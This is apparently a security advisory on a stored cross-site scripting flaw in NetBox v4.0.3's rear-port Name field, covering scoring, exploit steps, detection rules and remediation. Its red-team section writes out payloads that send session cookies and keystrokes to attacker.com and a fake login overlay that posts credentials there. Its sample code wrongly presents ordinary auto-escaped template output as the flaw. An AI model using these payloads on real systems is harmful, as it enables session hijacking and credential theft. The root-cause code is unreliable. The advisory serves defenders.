CVE-2024-40732

Executive Summary

CVE-2024-40732 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in NetBox v4.0.3, an open-source IP address management (IPAM) and data center infrastructure management (DCIM) tool. The flaw resides in the /dcim/rear-ports/add/ endpoint, where the Name parameter is insufficiently sanitized. An authenticated attacker with low privileges can inject arbitrary HTML or JavaScript payloads. When an administrator or other user views the affected rear port entry, the payload executes in their browser session, potentially leading to session hijacking, credential theft, or further lateral movement within the NetBox instance.

Key Risk: Stored XSS in a core asset management interface. The attack surface is limited to authenticated users, but the impact is amplified if an admin views the malicious entry.

Supply Chain & Package Security

NetBox is a Python/Django application distributed via PyPI (netbox). The vulnerability affects the official release v4.0.3. No patched version has been released as of this report. Organizations using NetBox should monitor the official GitHub repository for a security patch. The supply chain risk is moderate; the vulnerability is in the application code, not in a dependency.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs a valid NetBox account.
• User Interaction (UI): Required – A victim must view the malicious rear port entry.
• Scope (S): Changed – The XSS can impact resources beyond the vulnerable component (e.g., admin session).
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify data via XSS.
• Availability (A): None – No direct DoS impact.

Threat Level: Medium. Exploitation requires authentication, but the stored nature of the XSS increases persistence and reach.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the Django-based NetBox application. The /dcim/rear-ports/add/ form accepts a Name parameter for a new rear port. The application fails to properly escape or sanitize this input before storing it in the database and later rendering it in the web interface.

Attack Flow:

1. Attacker authenticates to NetBox (low-privilege user).
2. Attacker navigates to /dcim/rear-ports/add/.
3. Attacker injects a payload into the Name field, e.g., <img src=x onerror=alert('XSS')>.
4. The payload is stored in the database without sanitization.
5. When an administrator or any user views the rear port list or detail page, the payload executes in their browser.

Root Cause: Lack of output encoding in the template rendering the Name field. Django templates auto-escape by default, but if the field is marked as safe or rendered via |safe filter, or if the developer used format_html without proper escaping, the XSS occurs.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# In forms or views, the Name field is stored directly.
# In templates, the field is rendered without escaping.
# Example template snippet:
{{ rear_port.name }}

This renders the raw HTML/JavaScript.

Patched Code (Expected):

# Use Django's escape filter or auto-escape.
{{ rear_port.name|escape }}

Or in Python:

from django.utils.html import escape
safe_name = escape(rear_port.name)

Note: No official patch is available yet. The above is the recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• NetBox v4.0.3 instance.
• Valid low-privilege user credentials.

Exploit Steps:

1. Log in to NetBox.
2. Navigate to /dcim/rear-ports/add/.
3. In the Name field, inject a payload. Example for session cookie theft:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

4. Submit the form.
5. Wait for an admin to view the rear port list. The payload executes, sending the admin's session cookie to the attacker.

Payload Examples:

• Basic alert: <script>alert('XSS')</script>
• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>
• Phishing overlay: <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><h1>Session expired. Please login again.</h1><form action="https://attacker.com/login" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form></div>

Blue Team (Defensive)

Detection:

• Monitor logs for unusual Name field inputs containing <script>, <img>, or onerror patterns.
• Use WAF rules to block XSS payloads in POST requests to /dcim/rear-ports/add/.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Query the database for rear port names containing HTML tags:

  SELECT * FROM dcim_rearport WHERE name LIKE '%<script>%' OR name LIKE '%<img%';
  

• Review NetBox access logs for repeated POST requests to /dcim/rear-ports/add/ from the same user.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from NetBox server.
  • Suspicious Referer headers pointing to /dcim/rear-ports/add/.
• Host:
  • NetBox database entries in dcim_rearport table with name containing HTML/JavaScript.
  • Web server logs showing POST /dcim/rear-ports/add/ with payloads.
• File:
  • No file-based IOCs; this is a web application vulnerability.

Detection Engineering

YARA Rule

rule Detect_NetBox_XSS_Payload {
    meta:
        description = "Detects XSS payloads in NetBox rear port names"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-40732"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /<svg[^>]*onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: NetBox Stored XSS via Rear Port Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in NetBox rear port creation requests
author: Valters IT
logsource:
    category: webserver
    product: netbox
detection:
    selection:
        http.method: POST
        http.url: '/dcim/rear-ports/add/'
        http.body|contains:
            - '<script>'
            - '<img'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-40732 NetBox Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/dcim/rear-ports/add/"; http_uri; pcre:"/(<script|<img[^>]*onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the rear port creation feature for non-admin users via NetBox permissions until a patch is applied.
2. Implement a WAF rule to block XSS patterns in the Name field.
3. Add Content Security Policy (CSP) header:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fix:

• Apply the official patch from NetBox maintainers once released.
• In the meantime, manually patch the template by adding |escape filter to the Name field rendering.
• Conduct a code review of all user-input fields for proper sanitization.

Validation:

• After patching, attempt to inject XSS payloads to confirm the fix.
• Run automated DAST scans against the NetBox instance.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert